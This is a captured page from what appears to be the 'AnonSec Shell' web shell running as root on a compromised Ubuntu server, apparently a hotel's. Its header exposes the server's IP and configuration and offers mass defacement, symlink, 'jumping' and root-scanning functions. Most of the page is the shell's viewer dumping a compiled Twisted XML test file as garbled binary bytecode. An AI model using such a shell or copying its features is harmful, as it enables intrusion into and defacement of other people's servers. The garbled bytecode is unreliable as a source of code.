AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_xml.cpython-310.pyc
o

�b.��@s�dZddlmZddlmZddlmZmZmZGdd�dej	�Z
Gdd�de�ZGd	d
�d
e�ZGdd�de�Z
Gd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)z;
Some fairly inadequate testcases for Twisted XML support.
�)�BytesIO)�TestCase)�
domhelpers�microdom�suxc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�Sux0rcCs
g|_dS)N��tokens��self�r�;/usr/lib/python3/dist-packages/twisted/web/test/test_xml.py�__init__s
zSux0r.__init__cCsdd�|jD�S)NcSsg|]
}|ddkr|�qS)r�startr)�.0�tokenrrr
�
<listcomp>sz&Sux0r.getTagStarts.<locals>.<listcomp>rr
rrr
�getTagStartsszSux0r.getTagStartscCs|j�d||f�dS)Nr�r	�append)r�name�attrsrrr
�gotTagStart�zSux0r.gotTagStartcCs|j�d|f�dS)N�textr)rrrrr
�gotTextsz
Sux0r.gotTextN)�__name__�
__module__�__qualname__rrrrrrrr
rs
rc@seZdZdd�ZdS)�SUXTestscCs4d}t�}|��|�|�|�t|���d�dS)Ns<bork><bork><bork>�)r�connectionMade�dataReceived�assertEqual�lenr)r�s�msrrr
�	test_borks

zSUXTests.test_borkN)rrrr'rrrr
rsrc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zgd9�Zd:d;�Z d<d=�Z!d>d?�Z"d@dA�Z#dBdC�Z$dDdE�Z%dFdG�Z&dHdI�Z'dJdK�Z(dLdM�Z)dNdO�Z*dPdQ�Z+dRdS�Z,dTdU�Z-dVdW�Z.dXdY�Z/dZd[�Z0d\d]�Z1d^d_�Z2d`da�Z3dbdc�Z4ddS)e�
MicroDOMTestsc	C�Zd}tj|dd�}|�|����d�t�}|���|ddddid�|�|��d�dS)z�
        Make sure that if there's no top-level node lenient-mode won't
        drop leading text that's outside of any elements.
        zHi orders! <br>Well. <br>T��beExtremelyLenientz*<html>Hi orders! <br />Well. <br /></html>�s*<html>Hi orders! <br />Well. <br /></html>N�r�parseStringr#�
firstChild�toxmlr�writexml�getvalue�rr%�d�
byteStreamrrr
�test_leadingTextDropping's��z&MicroDOMTests.test_leadingTextDroppingc	Cr))z~
        Ensure that no *trailing* text in a mal-formed
        no-top-level-element document(s) will not be dropped.
        z<br>Hi orders!Tr*z<html><br />Hi orders!</html>r,s<html><br />Hi orders!</html>Nr-r3rrr
�test_trailingTextDropping7sz'MicroDOMTests.test_trailingTextDroppingcC�*d}tj|dd�}|�|����d�dS)zp
        A string with nothing that looks like a tag at all should just
        be parsed as body text.
        z
Hi orders!Tr*z<html>Hi orders!</html>N�rr.r#r/r0�rr%r4rrr
�test_noTagsC�zMicroDOMTests.test_noTagscCr8)zl
        If a document is surrounded by non-xml text, the text should
        be remain in the XML.
        zHi<br> orders!Tr*z<html>Hi<br /> orders!</html>Nr9r:rrr
�test_surroundingCrapLr<z"MicroDOMTests.test_surroundingCrapcCsNd}tj|dd�}t�|jd�}t�|dd��dd�}|�|�d�d	�dS)
Nal
              <HTML><BODY>
              <P ALIGN="CENTER">
                <A HREF="http://www.apache.org/"><IMG SRC="/icons/apache_pb.gif"></A>
              </P>

              <P>
                This is an insane set of text nodes that should NOT be gathered under
                the A tag above.
              </P>
              </BODY></HTML>
            �r*�arz&nbsp;� �insane���)	rr.r�findNodesNamed�documentElement�gatherTextNodes�replacer#�find)rr%r4�l�nrrr
�test_caseSensitiveSoonCloserUs
z*MicroDOMTests.test_caseSensitiveSoonClosercC�,d}tj|dd�}|�|j|j��j�dS)z�
        Test that C{parentNode} attributes are set to meaningful values when
        we are parsing HTML that lacks a root node.
        z
<br/><br/>r>r*N�rr.�assertIdenticalrDr/�
parentNoder:rrr
�test_lenientParentinggs
�z#MicroDOMTests.test_lenientParentingcCrK)z�
        Test that the C{parentNode} attribute is set to a meaningful value
        when we parse an HTML document that has a non-Element root node.
        �Hellor>r*NrLr:rrr
�test_lenientParentSingless
�z&MicroDOMTests.test_lenientParentSinglecCs2d}tj|dd�}t�|�}|�|�d�d�dS)Nz
                <HTML>
                    This HTML goes between Stupid <=CrAzY!=> Dumb.
                </HTML>
            r>r*�>rB)rr.rrE�assertNotEqualrG)rr%r4rIrrr
�test_unEntities~s
zMicroDOMTests.test_unEntitiescCs|�tjtjd�dS)Nr,)�assertRaisesr�
ParseErrorrr.r
rrr
�test_emptyError�rzMicroDOMTests.test_emptyErrorcCs*d}t�|�}|�t�|j���d�dS)Nz�
        <test>
         <it>
          <is>
           <a>
            test
           </a>
          </is>
         </it>
        </test>
        �test)rr.r#rrErD�stripr:rrr
�test_tameDocument�s
zMicroDOMTests.test_tameDocumentcCs4d}tj|dd�}t�|jd�}|�t|�d�dS)Na
        <html>
        <head><title> I send you this message to have your advice!!!!</titl e
        </headd>

        <body bgcolor alink hlink vlink>

        <h1><BLINK>SALE</blINK> TWENTY MILLION EMAILS & FUR COAT NOW
        FREE WITH `ENLARGER'</h1>

        YES THIS WONDERFUL AWFER IS NOW HERER!!!

        <script LANGUAGE="javascript">
function give_answers() {
if (score < 70) {
alert("I hate you");
}}
        </script><a href=/foo.com/lalal name=foo>lalal</a>
        </body>
        </HTML>
        r>r*�blink)rr.rrCrDr#r$)rr%r4rHrrr
�test_awfulTagSoup�szMicroDOMTests.test_awfulTagSoupcCsPd}tj|dd�}|�|������jd�|�|���d�d��jd�dS)Nz�
        <script>(foo < bar) and (bar > foo)</script>
        <script language="javascript">foo </scrip bar </script>
        <script src="foo">
        <script src="foo">baz</script>
        <script /><script></script>
        r>r*z(foo < bar) and (bar > foo)�scriptzfoo </scrip bar )rr.r#r/�data�getElementsByTagNamer:rrr
�test_scriptLeniency�s��z!MicroDOMTests.test_scriptLeniencycCsjd}|�tj|dd�����|�d}|�tj|dd�����|�d}|�tj|dd�����|�dS)Nz<script><!-- lalal --></script>r>r*z"<script><![CDATA[lalal]]></script>z:<script> // <![CDATA[
        lalal
        //]]></script>)r#rr.r/r0�rr%rrr
�test_scriptLeniencyIntelligence�s���z-MicroDOMTests.test_scriptLeniencyIntelligencecCs
d}|���dd�}tj|ddd�}tj|ddd�}tj|ddd�}tj|ddd�}tj|ddd�}|�|j��|�|�|�|�|���d|�����|�|�|�|���d|�����|�|�|�|���d|�����|�|�|�|���d|�����dS)NzH<eNcApSuLaTe><sUxor></sUxor><bOrk><w00T>TeXt</W00t></BoRk></EnCaPsUlAtE>r�TeXtr>��caseInsensitive�preserveCaserz != )	�lowerrFrr.r#rDr0�
assertTrue�isEqualToDocument)rr%�s2r4�d2�d3�d4�d5rrr
�test_preserveCase�s$$$(zMicroDOMTests.test_preserveCasecCs<d}t�|�}|j}|�|�d�d�|�|�d�d�dS)Nz<test a="a" b='b' />r?�b�rr.rDr#�getAttribute�rr%r4�errr
�test_differentQuotes��

z"MicroDOMTests.test_differentQuotescCs<d}t�|�}|j}|�|�d�d�|�|�d�d�dS)Nz<test 
a="a"
	b="#b" />r?rpz#brqrsrrr
�test_Linebreaks�rvzMicroDOMTests.test_LinebreakscCs dD]}|�tjtj|�qdS)N)z<test>z<test> </tset>z</test>)rUr�MismatchedTagsr.rarrr
�test_mismatchedTags�s�z!MicroDOMTests.test_mismatchedTagscCsvd}t�|�}|j}|�|jd�|jd}|�t|tj��|�|j	d�|�
�}|�||u�|�|��d�dS)Nz<bar><!--<foo />--></bar>�barr�<foo />z<!--<foo />-->)rr.rDr#�nodeName�
childNodesrh�
isinstance�Comment�value�	cloneNoder0)rr%r4rt�c�c2rrr
�test_comments

zMicroDOMTests.test_commentcCs`t�d�j}|jd}|�t|tj��|�|jd�|�	�}|�||u�|�|�
�d�dS)Nz<bar>xxxx</bar>r�xxxx)rr.rDr}rhr~�Textr#r�r�r0)rr4r�clonerrr
�	test_text
s
zMicroDOMTests.test_textcCszt�d�jj}|�t|�d�|�|djd�|�|djd�|�|d����d�|D]}|�	t
|tj��q/dS)Nz<b>&amp;&#12AB;</b>�r�&amp;r>z&#12AB;)rr.rDr}r#r$r^r�r0rhr~�EntityReference)r�nodesrIrrr
�
test_entitiess�zMicroDOMTests.test_entitiescCsNd}t�|�jjd}|�t|tj��|�|jd�|�|�	��
�d�dS)Nz<x><![CDATA[</x>
 & foo]]></x>rz</x>
 & fooz<![CDATA[</x>
 & foo]]>)rr.rDr}rhr~�CDATASectionr#r^r�r0)rr%�cdatarrr
�
test_CDatas
zMicroDOMTests.test_CDatacCs|d}d}t�|�jj}t�|�jj}|�t|�d�t||�D]\}}|�t|tj	��|�|j
d�|�|�|��qdS)Nz<foo><b/><b /><b
/></foo>z<foo><b/><b/><b/></foo>r rp)rr.rDr}r#r$�ziprhr~�Elementr|�
isEqualToNode)rr%rjr��nodes2rI�n2rrr
�test_singletons&s�zMicroDOMTests.test_singletonscCs�d}t�|�j}|�|�d�d�|�|�d�d�|�|�d��|�|�d��|�d�}|�|jd�|�	dd�|�|�d�d�dS)Nz
<foo a="b" />r?rpr��foorz)
rr.rDr#rrrh�hasAttribute�getAttributeNoder��setAttribute)rr%�noder?rrr
�test_attributes1s
zMicroDOMTests.test_attributescCsvd}t�|�j}|�dd�|jD�gd��|�|��jd�|�|��jd�|�|�	��|�|���	��dS)Nz'<foo><bar /><baz /><bax>foo</bax></foo>cSsg|]}|j�qSr)r|)rrIrrr
rBsz/MicroDOMTests.test_children.<locals>.<listcomp>)rz�baz�baxr�rz)
rr.rDr#r}�	lastChildr|r/rh�
hasChildNodesr:rrr
�
test_children?szMicroDOMTests.test_childrenc
CsDd}d}d}t�|�j}t�|�j}t�|�j}|�|���|�dd�|jd}|�|�d�d�|�|j	d�|�
t�d�|�|�|jdj	d�|�|jd	|�|jD]	}|�|j|�qY|�
|�|��|�|�|�t|j�d	�|�|jdj	d�t�d�}	|�|	|���|�|��|	�|�
|�|��dS)
Nr{z<foo a="b"><bar/><foo/></foo>z<foo a="b">foo</foo>r?rprr�rzr>)rr.rD�appendChildr�r�r}r#rrr|�insertBeforer�rNrhr��removeChildr$r��replaceChildr/)
rr%�s1rjr4�d1rk�childrI�trrr
�test_mutateHs0



zMicroDOMTests.test_mutatecCs4t�d�}t�d�}t�d�}|�t|j||�dS)z�
        L{Node.replaceChild} raises L{ValueError} if the node given to be
        replaced is not a child of the node C{replaceChild} is called on.
        r{z<bar />z<baz />N)rr.rU�
ValueErrorr�)r�parent�orphan�replacementrrr
�test_replaceNonChildfs


z"MicroDOMTests.test_replaceNonChildcCs&d}d}t�|�}tj|ddd�}tj|ddd�}|j}|�|��|�d��|�|�d�||����g�|j}|�|��|�d��|�|�d�|g�|�|�d	�|����g�|�|�d�g�|j}|�|��|�d��|�|�d
�||����g�|�|�d�||����g�dS)Nz,<foo><bar id='me' /><baz><foo /></baz></foo>z,<fOo><bAr id='me' /><bAz><fOO /></bAz></fOo>rr>rd�mer��fOo�fOO�FOO)rr.rDr#r/�getElementByIdr_r�)rr%rjr4rkrl�rootrrr
�test_searchqs2
����zMicroDOMTests.test_searchcCsbd}d}t�|�}t�|�}|�|jd�|�|��|�|�|�|��|�|j�	|j��dS)Nz`<?xml version="1.0"?><!DOCTYPE foo PUBLIC "baz" "http://www.example.com/example.dtd"><foo></foo>�<foo/>�5foo PUBLIC "baz" "http://www.example.com/example.dtd")
rr.r#�doctyper0�assertFalserirhrDr�)rr%rjr4rkrrr
�test_doctype�s�

�zMicroDOMTests.test_doctype))z<img/>z<img />)�<foo A='b'>x</foo>�<foo A="b">x</foo>)z<foo><BAR /></foo>z<foo><BAR></BAR></foo>)�"<foo>hello there &amp; yoyoy</foo>r�cCsV|jD]%\}}tj|dd�}tj|dd�}|j��}|�||�|�|�|��qdS)Nr�re)�samplesrr.rDr0r#rhri)rr%�outr4rk�testOutrrr
�test_output�s
�zMicroDOMTests.test_outputcCsdD]
}|�ttj|�qdS)N)z<foo>&am</foo>z<fooz<f>&</f>z<() />)rU�	Exceptionrr.rarrr
�test_errors�s�zMicroDOMTests.test_errorscCsd}d}d}d}t�|�}t�|�}tj|dd�}tj|ddd�}tj|ddd�}	tj|ddd�}
t�|�j��}|jtjtj|dd�|�||�|�|�|��|�|�|��|�|j�	d	��|�
|
j�	d	��|�|j��d
�|�|	j��d�dS)Nz<foo a='b'><BAx>x</bax></FOO>�<foo a="b"><bax>x</bax></foo>z<FOO a='b'><BAx>x</BAx></FOO>r�r>r�rdrr?r�z<foo a="b">x</foo>)rr.rDr0rUrxr#rhrir�r�)rr%rj�s3�s4r4rkrlrmrn�d6r�rrr
�test_caseInsensitive�s*

�z"MicroDOMTests.test_caseInsensitivecCs@d}t�|�}|�|j��|jj�|�|�t�d���dS)Nz<hello>
        </hello>z<hello></hello>)rr.rhrDr�r}rir:rrr
�test_eatingWhitespace�s
�z#MicroDOMTests.test_eatingWhitespacecCsfd}dD]\}}tj|�d|�d�dd�}|�|j��d|�qtjddd�}|�|j��d	�dS)
Nz<?xml version='1.0'?>))�&r�)z& z&amp; )r�r�)z
&hello monkeyz&amp;hello monkeyz<pre>z</pre>r>r*z
<pre>%s</pre>z<t>hello & there</t>z<t>hello &amp; there</t>�rr.r#rDr0)r�prefix�i�or4rrr
�test_lenientAmpersand�sz#MicroDOMTests.test_lenientAmpersandcCs(tjddd�}|�|j����d�dS)Nz3<?xml version='1.0'?><bar><xA><y>c</Xa> <foo></bar>r>r*z<xa><y>c</y></xa>)rr.r#rDr/r0)rr4rrr
�test_insensitiveLenient�s�z%MicroDOMTests.test_insensitiveLenientcC�0d}tj|dd�}d}|j��}|�||�dS)Nz<ul><li>foo<li>bar<li>baz</ul>r>r*z-<ul><li>foo</li><li>bar</li><li>baz</li></ul>�rr.rDr0r#�rr%r4�expected�actualrrr
�test_laterCloserSimple��

z$MicroDOMTests.test_laterCloserSimplecCr�)Nz<DL><p><DT>foo<DD>bar</DL>r>r*z(<dl><p></p><dt>foo</dt><dd>bar</dd></dl>r�r�rrr
�test_laterCloserCaseInsensitive�r�z-MicroDOMTests.test_laterCloserCaseInsensitivecCs0d}d}tj|dd�}|j��}|�||�dS)NzK<dl><dt>word<dd>definition<dt>word<dt>word<dd>definition<dd>definition</dl>zi<dl><dt>word</dt><dd>definition</dd><dt>word</dt><dt>word</dt><dd>definition</dd><dd>definition</dd></dl>r>r*r�)rr%r�r4r�rrr
�test_laterCloserDL�s��
z MicroDOMTests.test_laterCloserDLcs
ddl�d}d}d}�fdd�}t�||�d���}t�|�d��}t�|�}|�|�|��|�|�|��t�|�}t�||��}t�|�}|�|�|��|�|�|��t�d�}d	}	t��jd
dd�j}
|j	}|�
|
�|�
|�d
��|�|�
�|	d
�dS)Nrz<foo><bar><baz /></bar></foo>ub<?xml version="1.0" encoding="UCS-2" ?>
<JAPANESE>
<TITLE>専門家リスト </TITLE></JAPANESE>s���<?xml version="1.0" encoding="UCS-2" ?>

<JAPANESE>

<TITLE>\���[�0�0�0 </TITLE></JAPANESE>cs6tt|�d�d}�jd|g��d||��R�S)Nr��H�<rR)�strr$�pack�unpack)r%�fmt��structrr
�reverseBytess"z9MicroDOMTests.test_unicodeTolerance.<locals>.reverseByteszUTF-16r�z<?xml version="1.0"?>u√r>��rawu#<foo><div>√</div><!--√--></foo>)r�rr.�encoderhri�lmxrr�rDr��
createCommentr#r0)rr%�j�j2r��urd�ud�sd�j3�hdr�div�derr�r
�test_unicodeTolerances4��





�z#MicroDOMTests.test_unicodeTolerancecCsbdddd�}|��D]$}t�|�j}t�|d�}|�t|�||�|r.|�t	|dd��q
dS)Nr rr>)z:<foo><bar /><bar unf='1' /><bar>asdfadsf</bar><bam/></foo>z<foo>asdf</foo>z!<foo><bar><bar></bar></bar></foo>rz�tagName)
�keysrr.rDr�
namedChildrenr#r$rh�hasattr)r�testsr�r��resultrrr
�test_namedChildren4s���z MicroDOMTests.test_namedChildrencCs�d}t�|�j}|jdd�}|�||�|�t|j�t|j��|��|��}}|�||�|�t|j�t|j��|�|��|���|�||�	��|�|j
|j
�dS)Nr�r>��deep)rr.rDr��failIfEqualsr#r$r}r/r0�	namespace)rr%r�r��c1r�rrr
�test_cloneNodeAszMicroDOMTests.test_cloneNodecCsrd}t�|�}|jdd�}|�||�|�t|j�t|j��|�||���|�|�	|��|�|�	|��dS)Nz�<?xml version="1.0"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><foo></foo>r>r�)
rr.r�r�r#r$r}r0rhri)rr%r�r�rrr
�test_cloneDocumentNs�
z MicroDOMTests.test_cloneDocumentcCsdt�d�}t�|�}|�d�|jdd�}d|��d<|��|jddd�d	}|�||���dS)
N�pr�r�)r?�zrz�y)r�zF<p>foo<b a="c"><foo z="foo"></foo><foo></foo><bar c="y"></bar></b></p>)	rr�r�rrpr��addr#r0)rrIr�rpr%rrr
�test_LMX^s


zMicroDOMTests.test_LMXcCst�d�}t|�dS)z9
        Returns a dictionary which is hashable.
        rN)rr��hash)rrIrrr
�	test_dictjs
zMicroDOMTests.test_dictcCs4d}d}t�|�}|�||�|�t�|�|�dS)Nz&'some "stuff"', <what up?>z/&amp;'some &quot;stuff&quot;', &lt;what up?&gt;)r�escaper#�unescape)rr��cooked�esc1rrr
�
test_escapingqs

zMicroDOMTests.test_escapingcCs�d}t�|�}|��}|�|jjd�|�|j�d�djd�|�|j�d�d�dd�d�t�|�}|�|jjd�|�|j�d�djd�|�|j�d�d�dd�d�dS)Nz�
        <x xmlns="base">
        <y />
        <y q="1" x:q="2" y:q="3" />
        <y:y xml:space="1">here is    some space </y:y>
        <y:y />
        <x:y />
        </x>
        �baserrr>�q�1)rr.�toprettyxmlr#rDr�r_�getAttributeNS)rr%r4rjrkrrr
�test_namespacesys(
	��
��zMicroDOMTests.test_namespacescCs"d}t�|���}|�||�dS)zW
        Test that C{toxml} can support xml structures that remove namespaces.
        z`<?xml version="1.0"?><html xmlns="http://www.w3.org/TR/REC-html40"><body xmlns=""></body></html>N)rr.r0r#)rr�rjrrr
�test_namespaceDelete�s�z"MicroDOMTests.test_namespaceDeletecCs4t�d�}tjddd�}|g|_|�|��d�dS)z�
        Check that unspecified namespace is a thing separate from undefined
        namespace. This test added after discovering some weirdness in Lore.
        �olr�zhttp://www.w3.org/1999/xhtml�r�z9<div xmlns="http://www.w3.org/1999/xhtml"><ol></ol></div>N)rr�r}r#r0)rr�r�rrr
�test_namespaceInheritance�s
�z'MicroDOMTests.test_namespaceInheritancec	Cs�d}d}t��}|jd|d�}|�|di�|jd|d�}|jd|d�}|�|�|�|�|�|�d}|��}|�||�d	S)
z�
        XML elements with a prefixed name as per upper level tag definition
        have a start-tag of C{"<prefix:tag>"} and an end-tag of
        C{"</prefix:tag>"}.

        Refer to U{http://www.w3.org/TR/xml-names/#ns-using} for details.
        �http://example.com/outer�http://example.com/innerr�r�inner�tagr�z�<?xml version="1.0"?><root xmlns="http://example.com/outer" xmlns:inner="http://example.com/inner"><inner:tag><inner:child></inner:child></inner:tag></root>N)r�Document�
createElement�addPrefixesr�r0r#)	r�outerNamespace�innerNamespace�documentr�rr��xmlOk�xmlOutrrr
�test_prefixedTags�s


�zMicroDOMTests.test_prefixedTagsc	Cs�d}d}t��}|jd|d�}|�|�|�|di�|jd|d�}|�|�|jd|d�}|�|�d}|��}|�||�d	S)
a^
        Children of prefixed tags respect the default namespace at the point
        where they are rendered.  Specifically, they are not influenced by the
        prefix of their parent as that prefix has no bearing on them.

        See U{http://www.w3.org/TR/xml-names/#scoping} for details.

        To further clarify the matter, the following::

            <root xmlns="http://example.com/ns/test">
                <mytag xmlns="http://example.com/ns/mytags">
                    <mysubtag xmlns="http://example.com/ns/mytags">
                        <element xmlns="http://example.com/ns/test"></element>
                    </mysubtag>
                </mytag>
            </root>

        Should become this after all the namespace declarations have been
        I{moved up}::

            <root xmlns="http://example.com/ns/test"
                  xmlns:mytags="http://example.com/ns/mytags">
                <mytags:mytag>
                    <mytags:mysubtag>
                        <element></element>
                    </mytags:mysubtag>
                </mytags:mytag>
            </root>
        rrr�rr�mytag�mysubtagz�<?xml version="1.0"?><root xmlns="http://example.com/outer" xmlns:inner="http://example.com/inner"><inner:mytag><mysubtag></mysubtag></inner:mytag></root>N)rrrr�rr0r#)	rrr r!r�r%r&r"r#rrr
�test_prefixPropagation�s


�	z$MicroDOMTests.test_prefixPropagationN)5rrrr6r7r;r=rJrOrQrTrWrZr\r`rbrorurwryr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr
rrrr$r'rrrr
r(&sf		
				-

 
+r(c@sBeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�BrokenHTMLTestsaC
    Tests for when microdom encounters very bad HTML and C{beExtremelyLenient}
    is enabled. These tests are inspired by some HTML generated in by a mailer,
    which breaks up very long lines by splitting them with '!\n '.
    The expected behaviour is loosely modelled on the way Firefox treats very
    bad HTML.
    r>cCs$tj||d�}|�|j��|�dS)z�
        Check that C{input}, when parsed, produces a DOM where the XML
        of the document element is equal to C{expected}.
        r*Nr�)r�inputr�r+�outputrrr
�checkParsed!szBrokenHTMLTests.checkParsedcC�d}d}|�||�dS)z�
        Check that microdom does its best to handle broken attribute names.
        The important thing is that it doesn't raise an exception.
        z6<body><h1><div al!
 ign="center">Foo</div></h1></body>z;<body><h1><div al="True" ign="center">Foo</div></h1></body>N�r+�rr)r�rrr
�test_brokenAttributeName)�z(BrokenHTMLTests.test_brokenAttributeNamecCsd}d}|�||�dS)zJ
        Check that microdom encompasses broken attribute values.
        z6<body><h1><div align="cen!
 ter">Foo</div></h1></body>Nr-r.rrr
�test_brokenAttributeValue2sz)BrokenHTMLTests.test_brokenAttributeValuecCr,)z�
        Check that microdom does its best to handle broken opening tags.
        The important thing is that it doesn't raise an exception.
        z2<body><h1><sp!
 an>Hello World!</span></h1></body>z5<body><h1><sp an="True">Hello World!</sp></h1></body>Nr-r.rrr
�test_brokenOpeningTag:r0z%BrokenHTMLTests.test_brokenOpeningTagcCs|�dd�|�dd�dS)z�
        Check that microdom does its best to handle broken self-closing tags
        The important thing is that it doesn't raise an exception.
        z<body><span /!
></body>z<body><span></span></body>z
<span!
 />z
<span></span>Nr-r
rrr
�test_brokenSelfClosingTagCsz)BrokenHTMLTests.test_brokenSelfClosingTagcCsLd}d}|�||�d}|�||�d}|�||�d}d}|�||�dS)z�
        Check that microdom does its best to handle broken closing tags.
        The important thing is that it doesn't raise an exception.
        z1<body><h1><span>Hello World!</sp!
an></h1></body>z/<body><h1><span>Hello World!</span></h1></body>z1<body><h1><span>Hello World!</!
span></h1></body>z1<body><h1><span>Hello World!</span!
></h1></body>z1<body><h1><span>Hello World!<!
/span></h1></body>z6<body><h1><span>Hello World!<!></!></span></h1></body>Nr-r.rrr
�test_brokenClosingTagKsz%BrokenHTMLTests.test_brokenClosingTagN)r>)
rrr�__doc__r+r/r1r2r3r4rrrr
r(s
		r(c@s eZdZdZdd�Zdd�ZdS)�	NodeTestsz
    Tests for L{Node}.
    cCs�t�t��}|�|�|��t�t��}|�|�|��|�t�t���|�|�|��|�t�t���|�|�|��|���t�t���|�|�|��|���t�t���|�|�|��dS)zw
        L{Node.isEqualToNode} returns C{True} if and only if passed a L{Node}
        with the same children.
        N)r�Node�objectrhr�r�r�r/)rr��anotherrrr
�test_isNodeEqualToaszNodeTests.test_isNodeEqualTocCs�t��}t��}|�|�|�t|jd�|�t|j|d�|�t|jd|�|�t|jdd�|�|�|�t|jd�|�t|j|d�|�t|jd|�|�t|jdd�dS)zO
        Children of L{Node} instances must also be L{Node} instances.
        N)rr7r�rU�	TypeErrorr�r�r�)rr�r�rrr
�test_validChildInstance|s

z!NodeTests.test_validChildInstanceN)rrrr5r:r<rrrr
r6\sr6c@s$eZdZdZdZdd�Zdd�ZdS)�
DocumentTestsz 
    Tests for L{Document}.
    r�cCs�t��}|�|�|��t��}|�|�|��|j|_|�|�|��|j|_|�|�|��|�t�t���|�|�|��|�t�t���|�|�|��|j	�t�t���|�|�|��dS)z�
        L{Document.isEqualToNode} returns C{True} if and only if passed a
        L{Document} with the same C{doctype} and C{documentElement}.
        N)
rrrhr�r�r�r�r7r8rD)rr!r9rrr
�test_isEqualToNode�sz DocumentTests.test_isEqualToNodecCs6t��}t��}t��}|�|�|�t|j|�dS)zk
        L{Document.appendChild} raises L{ValueError} if the document already
        has a child.
        N)rrr7r�rUr�)rr!r�r9rrr
�test_childRestriction�s

z#DocumentTests.test_childRestrictionN)rrrr5r�r>r?rrrr
r=�s
r=c@�eZdZdZdd�ZdS)�EntityReferenceTestsz'
    Tests for L{EntityReference}.
    cC�<|�t�d��t�d���|�t�d��t�d���dS)z�
        L{EntityReference.isEqualToNode} returns C{True} if and only if passed
        a L{EntityReference} with the same C{eref}.
        �quot�aposN)rhrr�r�r�r
rrr
r>�s
��
��z'EntityReferenceTests.test_isEqualToNodeN�rrrr5r>rrrr
rA��rAc@r@)�CharacterDataTestsz%
    Tests for L{CharacterData}.
    cCrB)z�
        L{CharacterData.isEqualToNode} returns C{True} if and only if passed a
        L{CharacterData} with the same value.
        r�rzN)rhr�
CharacterDatar�r�r
rrr
r>����z%CharacterDataTests.test_isEqualToNodeNrErrrr
rG�rFrGc@r@)�CommentTestsz
    Tests for L{Comment}.
    cCrB)zz
        L{Comment.isEqualToNode} returns C{True} if and only if passed a
        L{Comment} with the same value.
        r�rzN)rhrrr�r�r
rrr
r>�s zCommentTests.test_isEqualToNodeNrErrrr
rJ�rFrJc@r@)�	TextTestsz
    Tests for L{Text}.
    cCsp|�tjddd��tjddd���|�tjddd��tjddd���|�tjddd��tjddd���dS)z
        L{Text.isEqualToNode} returns C{True} if and only if passed a L{Text}
        which represents the same data.
        r�Tr�FrzN)rhrr�r�r�r
rrr
r>�s����zTextTests.test_isEqualToNodeNrErrrr
rK�rFrKc@r@)�CDATASectionTestsz$
    Tests for L{CDATASection}.
    cCrB)z�
        L{CDATASection.isEqualToNode} returns C{True} if and only if passed a
        L{CDATASection} which represents the same data.
        r�rzN)rhrr�r�r�r
rrr
r>rIz$CDATASectionTests.test_isEqualToNodeNrErrrr
rLrFrLc@r@)�ElementTestsz
    Tests for L{Element}.
    c
Cs6|�tjdddit�dd��tjdddit�dd���|�tjdddit�dd��tjdddit�dd���|�tjdddit�dd��tjdddit�dd���tjdddit�dd�}tjdddit�dd�}|�t�t���|�|�|��|�tjdddit�dd��tjdddit�dd���dS)	z�
        L{Element.isEqualToNode} returns C{True} if and only if passed a
        L{Element} with the same C{nodeName}, C{namespace}, C{childNodes}, and
        C{attributes}.
        r�r?rprzrr�r�N)rhrr�r8r�r�r�r7)r�one�tworrr
r>(sH���	���	���	���zElementTests.test_isEqualToNodeNrErrrr
rM#rFrMN)r5�ior�twisted.trial.unittestr�twisted.webrrr�	XMLParserrrr(r(r6r=rArGrJrKrLrMrrrr
�<module>s*	wD62

Anon7 - 2022
AnonSec Team